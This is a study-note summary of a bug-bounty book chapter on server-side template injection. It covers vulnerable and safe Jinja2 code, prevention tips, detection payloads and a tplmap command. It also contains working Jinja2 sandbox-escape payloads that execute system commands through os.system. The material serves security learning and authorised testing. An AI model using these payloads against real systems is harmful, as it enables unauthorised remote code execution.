====== BBC Ch 16: Server-Side Template Injection (SSTI) ======
//Source: Bug Bounty Bootcamp by Vickie Li//
Template engines (Jinja2, Twig, FreeMarker, ERB, Smarty) combine application data with templates to generate HTML pages. SSTI occurs when user input is concatenated directly into a template string rather than passed in as a safe data variable.
===== How SSTI Works =====
**Vulnerable code (Python/Jinja2):**
from jinja2 import Template
tmpl = Template("Hello: " + user_input + "
")
tmpl.render()
**Safe code:**
tmpl = Template("Hello: {{name}}
")
tmpl.render(name=user_input)
When code is vulnerable, submitting {{1+1}} returns ''2'' in the page -- the template engine executed the expression.
===== Prevention =====
* Patch and update template engine libraries regularly
* Avoid allowing user-submitted templates
* Use the template engine's hardened sandbox mode for user input (not bulletproof -- sandbox escapes exist)
* Implement an allowlist of allowed attributes in templates
* Return generic error pages; suppress descriptive error messages
* Sanitize user input before embedding in templates
===== Hunting for SSTI =====
==== Step 1: Find User-Input Locations ====
Any field that gets displayed back to the user is a candidate: URL parameters, query strings, form fields, file uploads, HTTP headers. Look especially for endpoints that render user input in generated emails, profile pages, or name fields.
==== Step 2: Detect SSTI with Test Payloads ====
Submit this polyglot error-inducing string:
{{1+abcxx}}${1+abcxx}<%1+abcxx%>[abcxx]
If the server returns an error or renders unexpectedly, template injection is likely. Also try these engine-specific payloads:
^ Payload ^ Works in ^
| {{7*7}} | Jinja2, Twig, Smarty (Python/PHP) |
| ''${7*7}'' | FreeMarker, Thymeleaf (Java) |
| ''<%= 7*7 %>'' | ERB (Ruby) |
If any of these returns ''49'', SSTI is confirmed.
If input is placed inside expression tags already (e.g., {{user_input}}), just submit ''7*7'' without the brackets and check if ''49'' is returned.
==== Step 3: Identify the Template Engine ====
* Error message may name the engine (e.g., ''jinja2.exceptions.UndefinedError'')
* {{7*'7'}} returns ''7777777'' in Jinja2, ''49'' in Twig
* ''<%= 7*7 %>'' returning ''49'' -- ERB
* ''${7*7}'' returning ''49'' -- FreeMarker or Thymeleaf
===== Escalating SSTI to RCE (Jinja2) =====
Jinja2 blocks direct import and ''os'', but Python's built-in class hierarchy is accessible. Use subclass traversal to reach the ''catch_warnings'' class, which has access to builtins.
List all subclasses of object:
{{[].__class__.__bases__[0].__subclasses__()}}
Find ''catch_warnings'' and access builtins:
{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'catch_warnings' in x.__name__ %}
{{ x()._module.__builtins__ }}
{% endif %}
{% endfor %}
Execute a system command (e.g., ''ls''):
{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'catch_warnings' in x.__name__ %}
{{ x()._module.__builtins__['__import__']('os').system('ls') }}
{% endif %}
{% endfor %}
Safe PoC -- create a file with a distinct name:
{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'warning' in x.__name__ %}
{{ x()._module.__builtins__['__import__']('os').system('touch ssti_poc_by_your_name.txt') }}
{% endif %}
{% endfor %}
Other template engines require different syntax and sandbox-escape methods -- consult engine-specific documentation and PortSwigger's SSTI research.
===== Automation =====
tplmap (https://github.com/epinna/tplmap/) scans for SSTI, identifies the engine, and constructs exploits automatically for popular engines:
python3 tplmap.py -u "http://example.com/page?name=INJECT_HERE"
===== 7-Step Checklist =====
- Find user-input locations that are displayed back to the user.
- Submit {{7*7}}, ''${7*7}'', ''<%= 7*7 %>'' to detect SSTI.
- If blocked or no output: try the polyglot error payload {{1+abcxx}}''${1+abcxx}<%1+abcxx%>[abcxx]''.
- Identify the template engine from error messages or differential payloads.
- Research sandbox-escape techniques for the identified engine.
- Escalate to RCE; create a safe PoC file rather than executing destructive commands.
- Draft report with the working payload and the engine name.